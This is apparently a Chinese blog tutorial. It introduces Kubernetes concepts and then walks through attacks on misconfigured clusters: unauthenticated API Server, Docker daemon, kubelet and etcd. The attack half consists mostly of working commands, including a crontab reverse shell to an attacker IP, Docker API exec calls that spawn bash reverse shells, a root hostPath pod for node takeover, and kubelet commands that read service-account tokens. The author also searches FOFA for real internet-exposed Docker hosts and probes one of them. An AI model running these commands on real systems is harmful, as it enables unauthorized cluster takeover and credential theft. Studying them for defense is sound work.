云的定義看似模糊,但本質(zhì)上,它是一個(gè)用于描述全球服務(wù)器網(wǎng)絡(luò )的術(shù)語(yǔ),每個(gè)服務(wù)器都有一個(gè)獨特的功能。云不是一個(gè)物理實(shí)體,而是一個(gè)龐大的全球遠程服務(wù)器網(wǎng)絡(luò ),它們連接在一起,旨在作為單一的生態(tài)系統運行。這些服務(wù)器設計用于存儲和管理數據、運行應用程序,或者交付內容/服務(wù)(如視頻短片、Web 郵件、辦公室生產(chǎn)力軟件或社交媒體)。不是從本地或個(gè)人計算機訪(fǎng)問(wèn)文件和數據,而是通過(guò)任何支持 Internet 的設備在線(xiàn)訪(fǎng)問(wèn) - 這些信息在必要時(shí)隨時(shí)隨地可用。
企業(yè)采用 4 種不同的方法部署云資源。存在一個(gè)公有云,它通過(guò) Internet 共享資源并向公眾提供服務(wù);一個(gè)私有云,它不進(jìn)行共享且經(jīng)由通常本地托管的私有內部網(wǎng)絡(luò )提供服務(wù);一個(gè)混合云,它根據其目的在公有云和私有云之間共享服務(wù);以及一個(gè)社區云,它僅在組織之間(例如與政府機構)共享資源。
《云是什么- 定義 - Microsoft Azure》
k8s即Kubernetes。
其為google開(kāi)發(fā)來(lái)被用于容器管理的開(kāi)源應用程序,可幫助創(chuàng )建和管理應用程序的容器化。
用一個(gè)的例子來(lái)描述:”當虛擬化容器Docker有太多要管理的時(shí)候,手動(dòng)管理就會(huì )很麻煩,于是我們便可以通過(guò)k8s來(lái)簡(jiǎn)化我們的管理”
我們在上文已經(jīng)知道,K8S是用于管理虛擬化容器的一個(gè)應用系統,在這小節中會(huì )著(zhù)重講述K8S的架構、實(shí)現原理。
下圖為K8S架構的概覽:

kubectl 是 k8s 的客戶(hù)端工具,可以使用命令行管理集群
k8s主要由較少的master節點(diǎn)以及其對應的多個(gè)Node節點(diǎn)組成。master用于對Node節點(diǎn)進(jìn)行控制管理,一個(gè)k8s集群中至少要有一臺master節點(diǎn)。
Master節點(diǎn)中包含很多的組件,主要為如下
etcd :
它存儲集群中每個(gè)節點(diǎn)可以使用的配置信息。它是一個(gè)高可用性鍵值存儲,可以在多個(gè)節點(diǎn)之間分布。只有Kubernetes API服務(wù)器可以訪(fǎng)問(wèn)它,因為它可能具有一些敏感信息。這是一個(gè)分布式鍵值存儲,所有人都可以訪(fǎng)問(wèn)。 簡(jiǎn)而言之:存儲節點(diǎn)信息
API server :
Kubernetes是一個(gè)API服務(wù)器,它使用API在集群上提供所有操作。API服務(wù)器實(shí)現了一個(gè)接口,這意味著(zhù)不同的工具和庫可以輕松地與其進(jìn)行通信。Kubeconfig是與可用于通信的服務(wù)器端工具一起的軟件包。它公開(kāi)Kubernetes API 。簡(jiǎn)而言之:讀取與解析請求指令的中樞
Controller Manage :
該組件負責調節群集狀態(tài)并執行任務(wù)的大多數收集器。通常,可以將其視為在非終止循環(huán)中運行的守護程序,該守護程序負責收集信息并將其發(fā)送到API服務(wù)器。它致力于獲取群集的共享狀態(tài),然后進(jìn)行更改以使服務(wù)器的當前狀態(tài)達到所需狀態(tài)。關(guān)鍵控制器是復制控制器,端點(diǎn)控制器,名稱(chēng)空間控制器和服務(wù)帳戶(hù)控制器??刂破鞴芾砥鬟\行不同類(lèi)型的控制器來(lái)處理節點(diǎn),端點(diǎn)等。 簡(jiǎn)而言之:維護k8s資源
Scheduler :
這是Kubernetes master的關(guān)鍵組件之一。它是主服務(wù)器中負責分配工作負載的服務(wù)。它負責跟蹤群集節點(diǎn)上工作負載的利用率,然后將工作負載放在可用資源上并接受該工作負載。換句話(huà)說(shuō),這是負責將Pod分配給可用節點(diǎn)的機制。調度程序負責工作負載利用率,并將Pod分配給新節點(diǎn)。 簡(jiǎn)而言之:負載均衡調度器
Node節點(diǎn)也包含了很多組件,主要如下
Docker :
Docker引擎,運行著(zhù)容器的基礎環(huán)境
kubelet :
在每個(gè)node節點(diǎn)都存在一份,主要來(lái)執行關(guān)于資源操作的指令,負責pod的維護。
kube-proxy :
代理服務(wù),用于負載均衡,在多個(gè)pod之間做負載均衡
fluentd :
日志收集服務(wù)
pod :
pod是k8s的最小服務(wù)單元,pod內部才是容器,k8s通過(guò)操作pod來(lái)操作容器。一個(gè)Node節點(diǎn)可以有多個(gè)Pod
Pod可以說(shuō)是Node節點(diǎn)中最核心的部分,Pod也是一個(gè)容器,它是一個(gè)”用來(lái)封裝容器的容器”。一個(gè)Pod中往往會(huì )裝載多個(gè)容器,這些容器共用一個(gè)虛擬環(huán)境,共享著(zhù)網(wǎng)絡(luò )和存儲等資源。
這些容器的資源共享以及相互交互都是由pod里面的pause容器來(lái)完成的,每初始化一個(gè)pod時(shí)便會(huì )生成一個(gè)pause容器。

用戶(hù)端命令下發(fā)通常流程如下:

見(jiàn)《K8S環(huán)境搭建.md》
https://kuboard.cn/learning/(非常好的中文教程)
https://kubernetes.io/zh/docs/tutorials/kubernetes-basics/(k8s官方教程,有交互式
操作界面,稍微有點(diǎn)不好的是有些地方?jīng)]有中文)
以下內容來(lái)自https://kuboard.cn/learning/k8s-basics/kubernetes-basics.html
Worker節點(diǎn)(即Node)是VM(虛擬機)或物理計算機,充當k8s集群中的工作計算機
Deployment 譯名為 部署。在k8s中,通過(guò)發(fā)布 Deployment,可以創(chuàng )建應用程序 (docker image) 的實(shí)例 (docker container),這個(gè)實(shí)例會(huì )被包含在稱(chēng)為 Pod 的概念中,Pod 是 k8s 中最小可管理單元。
在 k8s 集群中發(fā)布 Deployment 后,Deployment 將指示 k8s 如何創(chuàng )建和更新應用程序的實(shí)例,master 節點(diǎn)將應用程序實(shí)例調度到集群中的具體的節點(diǎn)上。
創(chuàng )建應用程序實(shí)例后,Kubernetes Deployment Controller 會(huì )持續監控這些實(shí)例。如果運行實(shí)例的 worker 節點(diǎn)關(guān)機或被刪除,則 Kubernetes Deployment Controller 將在群集中資源最優(yōu)的另一個(gè) worker 節點(diǎn)上重新創(chuàng )建一個(gè)新的實(shí)例。這提供了一種自我修復機制來(lái)解決機器故障或維護問(wèn)題。
在容器編排之前的時(shí)代,各種安裝腳本通常用于啟動(dòng)應用程序,但是不能夠使應用程序從機器故障中恢復。通過(guò)創(chuàng )建應用程序實(shí)例并確保它們在集群節點(diǎn)中的運行實(shí)例個(gè)數,Kubernetes Deployment 提供了一種完全不同的方式來(lái)管理應用程序。

相關(guān)命令:
kubectl 是 k8s 的客戶(hù)端工具,可以使用命令行管理集群
kubectl備忘錄:https://kubernetes.io/zh-cn/docs/reference/kubectl/cheatsheet/
# 查看 Deployment kubectl get deployments # 查看 Pod kubectl get pods #根據yaml文件部署 kubectl apply -f nginx-deployment.yaml
一個(gè)yaml文件差不多就長(cháng)這樣: (nginx-deployment.yaml)
apiVersion: apps/v1 #與k8s集群版本有關(guān),使用 kubectl api-versions 即可查看當前集群支持的版本kind: Deployment #該配置的類(lèi)型,我們使用的是 Deployment
metadata: #譯名為元數據,即 Deployment 的一些基本屬性和信息
name: nginx-deployment #Deployment 的名稱(chēng)
labels: #標簽,可以靈活定位一個(gè)或多個(gè)資源,其中key和value均可自定義,可以定義多組,目前不需要理解
app: nginx #為該Deployment設置key為app,value為nginx的標簽
spec: #這是關(guān)于該Deployment的描述,可以理解為你期待該Deployment在k8s中如何使用 replicas: 1 #使用該Deployment創(chuàng )建一個(gè)應用程序實(shí)例
selector: #標簽選擇器,與上面的標簽共同作用,目前不需要理解
matchLabels: #選擇包含標簽app:nginx的資源
app: nginx
template: #這是選擇或創(chuàng )建的Pod的模板
metadata: #Pod的元數據
labels: #Pod的標簽,上面的selector即選擇包含標簽app:nginx的Pod
app: nginx
spec: #期望Pod實(shí)現的功能(即在pod中部署)
containers: #生成container,與docker中的container是同一種
- name: nginx #container的名稱(chēng)
image: nginx:1.7.9 #使用鏡像nginx:1.7.9創(chuàng )建container,該container默認80端口可訪(fǎng)問(wèn)

Pod 容器組 是一個(gè)k8s中一個(gè)抽象的概念,用于存放一組 container(可包含一個(gè)或多個(gè) container 容器,即圖上正方體),以及這些 container (容器)的一些共享資源。這些資源包括:
POD是集群上最基礎的單元
下圖中的一個(gè) Node(節點(diǎn))上含有4個(gè) Pod(容器組)

Pod(容器組)總是在 Node(節點(diǎn)) 上運行。Node(節點(diǎn))是 kubernetes 集群中的計算機,可以是虛擬機或物理機。每個(gè) Node(節點(diǎn))都由 master 管理。一個(gè) Node(節點(diǎn))可以有多個(gè)Pod(容器組),kubernetes master 會(huì )根據每個(gè) Node(節點(diǎn))上可用資源的情況,自動(dòng)調度 Pod(容器組)到最佳的 Node(節點(diǎn))上。
一個(gè)Node節點(diǎn)的狀態(tài)大致有以下的東西
#獲取類(lèi)型為Pod的資源列表 kubectl get pods #獲取類(lèi)型為Node的資源列表 kubectl get nodes # kubectl describe 資源類(lèi)型 資源名稱(chēng) #查看名稱(chēng)為nginx-XXXXXX的Pod的信息 kubectl describe pod nginx-XXXXXX #查看名稱(chēng)為nginx的Deployment的信息 kubectl describe deployment nginx #查看名稱(chēng)為nginx-pod-XXXXXXX的Pod內的容器打印的日志 kubectl logs -f podname #在Pod中運行命令 kubectl exec -it nginx-pod-xxxxxx /bin/bash
https://kuboard.cn/learning/k8s-basics/expose.html#kubernetes-service-服務(wù)-概述
通過(guò)以上內容我們知道,應用程序所在的Pod是一直變動(dòng)著(zhù)的,而每個(gè)Pod的ip又不一樣,但是對于前端用戶(hù)來(lái)說(shuō),應用程序的訪(fǎng)問(wèn)地址應該是唯一的才行。
因此k8s提供了一個(gè)機制用來(lái)為前端屏蔽后端Pod變動(dòng)帶來(lái)的IP變動(dòng),這便是Service。
Service為一系列有相同特征的Pod(一個(gè)應用的Pod在不停變換,但是不論怎么變換這些Pod都有相同的特征)定義了一個(gè)統一的訪(fǎng)問(wèn)方式,
Service是通過(guò)標簽選擇器(LabelSelector)來(lái)識別有哪些Pod有相同特征(帶有特定Lable標簽的POD,Lable可以由用戶(hù)設置,標簽存在于所有K8S對象上并不僅僅局限于Pod) 可以編成一個(gè)容器組的。
Service有三種選項暴露應用程序的入口,可以通過(guò)設置應用程序配置文件中的Service 項的spec.type 值來(lái)調整:
使用 NAT 在集群中每個(gè)的同一端口上公布服務(wù)。這種方式下,可以通過(guò)訪(fǎng)問(wèn)集群中任意節點(diǎn)+端口號的方式訪(fǎng) 問(wèn)服務(wù) <NodeIP>:<NodePort>。此時(shí) ClusterIP 的訪(fǎng)問(wèn)方式仍然可用。
在云環(huán)境中(需要云供應商可以支持)創(chuàng )建一個(gè)集群外部的負載均衡器,并為使用該負載均衡器的 IP 地址作為 服務(wù)的訪(fǎng)問(wèn)地址。此時(shí) ClusterIP 和 NodePort 的訪(fǎng)問(wèn)方式仍然可用。
下圖中有兩個(gè)服務(wù)Service A(黃色虛線(xiàn))和Service B(藍色虛線(xiàn)) Service A 將請求轉發(fā)到 IP 為 10.10.10.1 的Pod上, Service B 將請求轉發(fā)到 IP 為 10.10.10.2、10.10.10.3、10.10.10.4 的Pod上。

Service 將外部請求路由到一組 Pod 中,它提供了一個(gè)抽象層,使得 Kubernetes 可以在不影響服務(wù)調用者的情況下,動(dòng)態(tài)調度容器組(在容器組失效后重新創(chuàng )建容器組,增加或者減少同一個(gè) Deployment 對應容器組的數量等)。
在每個(gè)節點(diǎn)上都有Kube-proxy服務(wù),Service使用其將鏈接路由到Pod
可以通過(guò)更改deployment配置文件中的replicas項來(lái)設置開(kāi)啟的POD數量
在前面,我們創(chuàng )建了一個(gè) Deployment,然后通過(guò) 服務(wù)提供訪(fǎng)問(wèn) Pod 的方式。我們發(fā)布的 Deployment 只創(chuàng )建了一個(gè) Pod 來(lái)運行我們的應用程序。當流量增多導致應用程序POD負載加重后,我們需要對應用程序進(jìn)行伸縮操作,增加POD數量來(lái)減輕負擔,訪(fǎng)問(wèn)流量將會(huì )通過(guò)負載均衡在多個(gè)POD之間轉發(fā)。
伸縮 的實(shí)現可以通過(guò)更改 nginx-deployment.yaml 文件中部署的 replicas(副本數)來(lái)完成
spec: replicas: 2 #使用該Deployment創(chuàng )建兩個(gè)應用程序實(shí)例
當我們想對已經(jīng)部署的程序進(jìn)行升級更新,但又不想讓程序停止,就可以使用滾動(dòng)更新來(lái)實(shí)現。
滾動(dòng)更新通過(guò)使用新版本的POD逐步替代舊版本POD來(lái)實(shí)現零停機更新
滾動(dòng)更新是K8S默認的更新方式
Kubernetes 集群中包含兩類(lèi)用戶(hù):一類(lèi)是由 Kubernetes管理的service account,另一類(lèi)是普通用戶(hù)。
詳細內容參考筆記《k8s訪(fǎng)問(wèn)控制過(guò)程(安全機制).md》
k8s 中所有的 api 請求都要通過(guò)一個(gè) gateway 也就是 apiserver 組件來(lái)實(shí)現,是集群唯一的訪(fǎng)問(wèn)入口。主要實(shí)現的功能就是api 的認證 + 鑒權以及準入控制。

三種機制:
注意:認證授權過(guò)程只存在HTTPS形式的API中。也就是說(shuō),如果客戶(hù)端使用HTTP連接到kube-apiserver,是不會(huì )進(jìn)行認證授權
客戶(hù)端證書(shū)認證,X509 是一種數字證書(shū)的格式標準,是 kubernetes 中默認開(kāi)啟使用最多的一種,也是最安全的一種。api-server 啟動(dòng)時(shí)會(huì )指定 ca 證書(shū)以及 ca 私鑰,只要是通過(guò)同一個(gè) ca 簽發(fā)的客戶(hù)端 x509 證書(shū),則認為是可信的客戶(hù)端,kubeadm 安裝集群時(shí)就是基于證書(shū)的認證方式。
user 生成 kubeconfig就是X509 client certs方式。
因為基于x509的認證方式相對比較復雜,不適用于k8s集群內部pod的管理。Service Account Tokens是 service account 使用的認證方式。定義一個(gè) pod 應該擁有什么權限。一個(gè) pod 與一個(gè)服務(wù)賬戶(hù)相關(guān)聯(lián),該服務(wù)賬戶(hù)的憑證(token)被放入該pod中每個(gè)容器的文件系統樹(shù)中,位于/var/run/secrets/kubernetes.io/serviceaccount/token
service account 主要包含了三個(gè)內容:namespace、token 和 ca
K8S 目前支持了如下四種授權機制:
具體到授權模式其實(shí)有六種:
可以選擇多個(gè)鑒權模塊。模塊按順序檢查,以便較靠前的模塊具有更高的優(yōu)先級來(lái)允許 或拒絕請求。
從1.6版本起,Kubernetes 默認啟用RBAC訪(fǎng)問(wèn)控制策略。從1.8開(kāi)始,RBAC已作為穩定的功能。
CDK是一款為容器環(huán)境定制的滲透測試工具,在已攻陷的容器內部提供零依賴(lài)的常用命令及PoC/EXP。集成Docker/K8s場(chǎng)景特有的 逃逸、橫向移動(dòng)、持久化利用方式,插件化管理。
下圖是K8S的一些攻擊矩陣


本文就圍繞著(zhù)這個(gè)框架,敘述一些有用的攻擊手法吧
信息收集與我們的攻擊場(chǎng)景或者說(shuō)進(jìn)入的內網(wǎng)的起點(diǎn)分不開(kāi)。一般來(lái)說(shuō)內網(wǎng)不會(huì )完全基于容器技術(shù)進(jìn)行構建。所以起點(diǎn)一般可以分為權限受限的容器和物理主機內網(wǎng)。
在K8s內部集群網(wǎng)絡(luò )主要依靠網(wǎng)絡(luò )插件,目前使用比較多的主要是Flannel和Calico
主要存在4種類(lèi)型的通信:
當我們起點(diǎn)是一個(gè)在k8s集群內部權限受限的容器時(shí),和常規內網(wǎng)滲透區別不大,上傳端口掃描工具探測即可。
在k8s環(huán)境中,內網(wǎng)探測可以高度關(guān)注的端口: (各端口的滲透在下面會(huì )展開(kāi))
kube-apiserver: 6443, 8080 kubectl proxy: 8080, 8081 kubelet: 10250, 10255, 4149 dashboard: 30000 docker api: 2375 etcd: 2379, 2380 kube-controller-manager: 10252 kube-proxy: 10256, 31442 kube-scheduler: 10251 weave: 6781, 6782, 6783 kubeflow-dashboard: 8080
在如今的云的大環(huán)境下,許多業(yè)務(wù)代碼想要與云服務(wù)進(jìn)行通信,就需要通過(guò)accesskey這個(gè)東西進(jìn)行鑒權,鑒權通過(guò)后才能與云服務(wù)進(jìn)行通信。
通俗來(lái)講,人想要訪(fǎng)問(wèn)一個(gè)服務(wù),往往需要提供密碼來(lái)進(jìn)行身份驗證;而代碼想要訪(fǎng)問(wèn)一個(gè)云服務(wù)API,則需要提供accesskey來(lái)進(jìn)行身份驗證。
如果accesskey泄露了,我們便可以利用這個(gè)accesskey來(lái)與云服務(wù)通信,反彈個(gè)云主機的shell回來(lái)作為入口點(diǎn)慢慢往內打。
下面文章是關(guān)于云原生安全中accesskey安全更加詳細的論述,閱讀后可以對accesskey的概念有更深入的了解。
https://www.freebuf.com/articles/web/287512.html
https://www.freebuf.com/articles/web/255717.html
在docker中,容器的建立依賴(lài)于鏡像,如果pull得到的鏡像是一個(gè)惡意鏡像,或者pull得到的鏡像本身就存在安全漏洞,便會(huì )帶來(lái)安全風(fēng)險
下圖便是dockerhub上部署挖礦軟件的惡意鏡像,它會(huì )從github上下載惡意挖礦軟件進(jìn)行挖礦

屬于是K8S中的經(jīng)典漏洞了
回顧一下API Server的作用,它在集群中被用于提供API來(lái)控制集群內部,如果我們能控制API Server,就意味著(zhù)我們可以通過(guò)它利用kubectl創(chuàng )建Pod并使用磁盤(pán)掛載技術(shù)獲取Node節點(diǎn)控制權(關(guān)于磁盤(pán)掛載獲取節點(diǎn)shell的技術(shù)在后面的小節中再進(jìn)行詳細論述)。
API Server可以在兩個(gè)端口上提供了對外服務(wù):8080(insecure-port,非安全端口)和6443(secure-port,安全端口),其中8080端口提供HTTP服務(wù)且無(wú)需身份認證,6443端口提供HTTPS服務(wù)且支持身份認證(8080和6443端口并不是固定的,是通過(guò)配置文件來(lái)控制的)。
API Server在8080端口上開(kāi)放的服務(wù)應該是用于測試,但如果其在生存環(huán)境中被暴露出來(lái),攻擊者便可以利用此端口進(jìn)行對集群的攻擊。
但是利用API Server的8080端口進(jìn)行未授權活動(dòng)的前提條件略顯苛刻(配置失當+版本較低),8080端口服務(wù)是默認不啟動(dòng)的,但如果用戶(hù)在 /etc/kubernets/manifests/kube-apiserver.yaml 中有 --insecure-port=8080配置項,那就啟動(dòng)了非安全端口,有了安全風(fēng)險。
注:1.20版本后該選項已無(wú)效化

環(huán)境前提:
step1:進(jìn)入cd /etc/kubernetes/manifests/
step2: 修改api-kube.conf
添加- -–insecure-port=8080
添加- -–insecure-bind-address=0.0.0.0
Kubelet 會(huì )監聽(tīng)該文件的變化,當您修改了 /etc/kubernetes/manifests/kube-apiserver.yaml 文件之后,kubelet 將自動(dòng)終止原有的 kube-apiserver-{nodename} 的 Pod,并自動(dòng)創(chuàng )建一個(gè)使用了新配置參數的 Pod 作為替代

重啟服務(wù)
systemctl daemon-reload systemctl restart kubelet
在實(shí)際環(huán)境中,因為8080端口相對比較常見(jiàn),導致在內部排查常常忽略這個(gè)風(fēng)險點(diǎn)。
環(huán)境信息:
一個(gè)集群包含三個(gè)節點(diǎn),其中包括一個(gè)控制節點(diǎn)和兩個(gè)工作節點(diǎn)
- K8s-master 192.168.11.152
- K8s-node1 192.168.11.153
- K8s-node2 192.168.11.160
攻擊機kali
- 192.168.11.128
直接訪(fǎng)問(wèn) 8080 端口會(huì )返回可用的 API 列表:

使用kubectl可以指定IP和端口調用存在未授權漏洞的API Server。
如果沒(méi)有kubectl,需要安裝kubectl,安裝可以參考官網(wǎng)文檔:
使用kubectl獲取集群信息:
kubectl -s ip:port get nodes

注:如果你的kubectl版本比服務(wù)器的高,會(huì )出現錯誤,需要把kubectl的版本降低.
接著(zhù)在本機上新建個(gè)yaml文件用于創(chuàng )建容器,并將節點(diǎn)的根目錄掛載到容器的 /mnt 目錄,內容如下:
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /然后使用 kubectl 創(chuàng )建容器,這個(gè)時(shí)候我們發(fā)現是無(wú)法指定在哪個(gè)節點(diǎn)上創(chuàng )建pod。
kubectl -s 192.168.11.152:8080 create -f test.yaml kubectl -s 192.168.11.152:8080 --namespace=default exec -it test bash
寫(xiě)入反彈 shell 的定時(shí)任務(wù)
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.11.128/4444 0>&1\n" >> /mnt/etc/crontab
稍等一會(huì )獲得node02節點(diǎn)權限:

或者也可以通過(guò)寫(xiě)公私鑰的方式控制宿主機。
如果apiserver配置了dashboard的話(huà),可以直接通過(guò)ui界面創(chuàng )建pod。
若我們不帶任何憑證的訪(fǎng)問(wèn) API server的 secure-port端口,默認會(huì )被服務(wù)器標記為system:anonymous用戶(hù)。
一般來(lái)說(shuō)system:anonymous用戶(hù)權限是很低的,但是如果運維人員管理失當,把system:anonymous用戶(hù)綁定到了cluster-admin用戶(hù)組,那么就意味著(zhù)secure-port允許匿名用戶(hù)以管理員權限向集群下達命令。(也就是secure-port變成某種意義上的insecure-port了)
方法一
kubectl -s https://192.168.111.20:6443/ --insecure-skip-tls-verify=true get nodes #(192.168.111.20:6443 是master節點(diǎn)上apiserver的secure-port)然后提示輸入賬戶(hù)密碼,隨便亂輸就行
正常情況應該是這樣

但如果secure-port 配置失當出現了未授權,就會(huì )這樣

方法二
利用cdk工具通過(guò)"system:anonymous"匿名賬號嘗試登錄
./cdk kcurl anonymous get "https://192.168.11.152:6443/api/v1/nodes"

創(chuàng )建特權容器:


之后的攻擊方式和上面是一樣的
k8s configfile配置文件中可能會(huì )有api-server登陸憑證等敏感信息,如果獲取到了集群configfile內容(如泄露在github),將會(huì )對集群內部安全造成巨大影響。
這里引用阿里云社區的一張圖

顧名思義,容器內部應用就有問(wèn)題(比如內部應用是tomcat,且有RCE漏洞),從而就會(huì )導致黑客獲取Pod shell,拿到入口點(diǎn)
Docker以server-client的形式工作,服務(wù)端叫Docker daemon,客戶(hù)端叫docker client。
Docker daemon想調用docker指令,就需要通過(guò)docker.sock這個(gè)文件向docker client進(jìn)行通訊。換句話(huà)說(shuō),Docker daemon通過(guò)docker.sock這個(gè)文件去管理docker容器(如創(chuàng )建容器,容器內執行命令,查詢(xún)容器狀態(tài)等)。
同時(shí),Docker daemon也可以通過(guò)配置將docker.sock暴露在端口上,一般情況下2375端口用于未認證的HTTP通信,2376用于可信的HTTPS通信。
如果docker daemon 2375端口暴露在了公網(wǎng)上,那么便可以直接利用該端口控制docker容器,并通過(guò)新建容器配合磁盤(pán)掛載技術(shù)獲取宿主機權限。
fofa搜索
server="Docker" && port="2375"
可以發(fā)現有很多暴露在公網(wǎng)的docker.sock,

我們選一個(gè)來(lái)試試水
可以發(fā)現是成功的調用了API查詢(xún)了容器狀態(tài)

然后我們可以通過(guò)如下指令,在指定容器內部執行命令
curl -X POST "http://ip:2375/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'獲取到一個(gè)id

然后請求這個(gè)id,執行此命令
curl -X POST "http://ip:2375/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"就像這樣:(圖片引用自freebuf)

如果我們入侵了一個(gè)docker容器,這個(gè)docker容器里面有docker.sock(常用路徑/var/run/docker.sock),那么就可以直接利用此文件控制docker daemon。
把上一小節的命令改改就行,加一個(gè)—unix-socket參數。
curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'
curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"一般來(lái)說(shuō)docker.sock是存在于docker daemon服務(wù)端的,但如果開(kāi)發(fā)人員想在docker容器里運行docker命令,就需要把宿主機的docker.sock掛載到容器內部了,這就給了我們docker逃逸的可乘之機。
Docker Daemon未授權訪(fǎng)問(wèn)的檢測與利用:
#探測是否訪(fǎng)問(wèn)未授權訪(fǎng)問(wèn) curl http://192.168.238.129:2375/info docker -H tcp://192.168.238.129:2375 info #推薦使用這種方式,操作方便。 export DOCKER_HOST="tcp://192.168.238.129:2375"
Docker Daemon未授權實(shí)戰案例:

危害:
- 可以直接控制該node下的所有pod
- 檢索尋找特權容器,獲取 Token
- 如果能夠從pod獲取高權限的token,則可以直接接管集群。
kubelet和kubectl的區別?
kubelet是在Node上用于管理本機Pod的,kubectl是用于管理集群的。kubectl向集群下達指令,Node上的kubelet收到指令后以此來(lái)管理本機Pod。

Kubelet API 一般監聽(tīng)在2個(gè)端口:10250、10255。其中,10250端口是可讀寫(xiě)的,10255是一個(gè)只讀端口。
kubelet對應的API端口默認在10250,運行在集群中每臺Node上,kubelet 的配置文件在node上的/var/lib/kubelet/config.yaml
我們重點(diǎn)關(guān)注配置文件中的這兩個(gè)選項:第一個(gè)選項用于設置kubelet api能否被匿名訪(fǎng)問(wèn),第二個(gè)選項用于設置kubelet api訪(fǎng)問(wèn)是否需要經(jīng)過(guò)Api server進(jìn)行授權(這樣即使匿名?戶(hù)能夠訪(fǎng)問(wèn)也不具備任何權限)。

在默認情況下,kubelet配置文件就如上圖所示,我們直接訪(fǎng)問(wèn)kubelet對應API端口會(huì )顯示認證不通過(guò)

我們將配置文件中,authentication-anonymous-enabled改為true,authorization-mode改為AlwaysAllow,再使用命令systemctl restart kubelet 重啟kubelet,那么就可以實(shí)現kubelet未授權訪(fǎng)問(wèn)

關(guān)于authorization-mode還有以下的配置:
--authorization-mode=ABAC 基于屬性的訪(fǎng)問(wèn)控制(ABAC)模式允許你 使用本地文件配置策略。 --authorization-mode=RBAC 基于角色的訪(fǎng)問(wèn)控制(RBAC)模式允許你使用 Kubernetes API 創(chuàng )建和存儲策略。 --authorization-mode=Webhook WebHook 是一種 HTTP 回調模式,允許你使用遠程 REST 端點(diǎn)管理鑒權。 --authorization-mode=Node 節點(diǎn)鑒權是一種特殊用途的鑒權模式,專(zhuān)門(mén)對 kubelet 發(fā)出的 API 請求執行鑒權。 --authorization-mode=AlwaysDeny 該標志阻止所有請求。僅將此標志用于測試。 --authorization-mode=AlwaysAllow 此標志允許所有請求。僅在你不需要 API 請求 的鑒權時(shí)才使用此標志。
在我們發(fā)現kubelet未授權后,可以進(jìn)行以下操作拿到入口點(diǎn)
如果有kubelet未授權,那就可以用以下命令在Pod內執行命令
curl -XPOST -k https://node_ip:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=command"
其中的參數可以從https://node_ip:10250/pods 中獲取
- metadata.namespace 下的值為 namespace
- metadata.name下的值為 pod_name
- spec.containers下的 name 值為 container_name

可以直接回顯命令結果,很方便

如果能在Pod內執行命令,那么就可以獲取Pod里service account的憑據,使用Pod上的service account憑據可以用來(lái)模擬Pod上的服務(wù)賬戶(hù)進(jìn)行操作,具體利用方法見(jiàn)下面的小節:[利用Service Account連接API Server執行指令](#利用Service Account連接API Server執行指令)

環(huán)境信息:
一個(gè)集群包含三個(gè)節點(diǎn),其中包括一個(gè)控制節點(diǎn)和兩個(gè)工作節點(diǎn)
- K8s-master 192.168.11.152
- K8s-node1 192.168.11.153
- K8s-node2 192.168.11.160
攻擊機kali
- 192.168.11.128
訪(fǎng)問(wèn)https://192.168.11.160:10250/pods,出現如下數據表示可以利用:

想要在容器里執行命令的話(huà),我們需要首先確定namespace、pod_name、container_name這幾個(gè)參數來(lái)確認容器的位置。

這里可以通過(guò)檢索securityContext字段快速找到特權容器

在對應的容器里執行命令,獲取 Token,該token可用于Kubernetes API認證,Kubernetes默認使用RBAC鑒權(當使用kubectl命令時(shí)其實(shí)是底層通過(guò)證書(shū)認證的方式調用Kubernetes API)
token 默認保存在pod 里的/var/run/secrets/kubernetes.io/serviceaccount/token
curl -k -XPOST "https://192.168.11.160:10250/run/kube-system/kube-flannel-ds-dsltf/kube-flannel" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

如果掛載到集群內的token具有創(chuàng )建pod的權限,可以通過(guò)token訪(fǎng)問(wèn)集群的api創(chuàng )建特權容器,然后通過(guò)特權容器逃逸到宿主機,從而擁有集群節點(diǎn)的權限
kubectl --insecure-skip-tls-verify=true --server="https://192.168.11.152:6443" --token="eyJhb....." get pods

接下來(lái)便是通過(guò)創(chuàng )建pod來(lái)掛載目錄,然后用crontab來(lái)獲得shell了 。
etcd是k8s集群中的數據庫組件,默認監聽(tīng)在2379端口,默認通過(guò)證書(shū)認證,主要存放節點(diǎn)的信息,如一些token和證書(shū)。如果2379存在未授權,那么就可以通過(guò)etcd查詢(xún)集群內管理員的token,然后用這個(gè)token訪(fǎng)問(wèn)api server接管集群。
etcd有v2和v3兩個(gè)版本,k8s用的是v3版本,所以我們在訪(fǎng)問(wèn)etcd的時(shí)候需要用命令ETCDCTL_API=3來(lái)指定etcd版本。
我們想要利用etcd未授權,需要使用一個(gè)工具叫做etcdctl,它是用來(lái)管理etcd數據庫的,我們可以在github上下載它
https://github.com/etcd-io/etcd/releases/
“在啟動(dòng)etcd時(shí),如果沒(méi)有指定 –client-cert-auth 參數打開(kāi)證書(shū)校驗,并且沒(méi)有通過(guò)iptables / 防火墻等實(shí)施訪(fǎng)問(wèn)控制,etcd的接口和數據就會(huì )直接暴露給外部黑客”——愛(ài)奇藝安全應急響應中心
下載etcd:https://github.com/etcd-io/etcd/releases
解壓后在命令行中進(jìn)入etcd目錄下。
etcdctl api版本切換:
export ETCDCTL_API=2 export ETCDCTL_API=3
探測是否存在未授權訪(fǎng)問(wèn)的Client API
etcdctl --endpoints=https://172.16.0.112:2379 get / --prefix --keys-only
如果我們在沒(méi)有證書(shū)文件的前提下直接訪(fǎng)問(wèn)2375端口,是調用不了etcd應用的,會(huì )提示X509證書(shū)錯誤。

我們需要將以下文件加入環(huán)境變量(ca,key,cert)才能訪(fǎng)問(wèn)(如果有未授權,那么不用帶證書(shū)都能訪(fǎng)問(wèn))
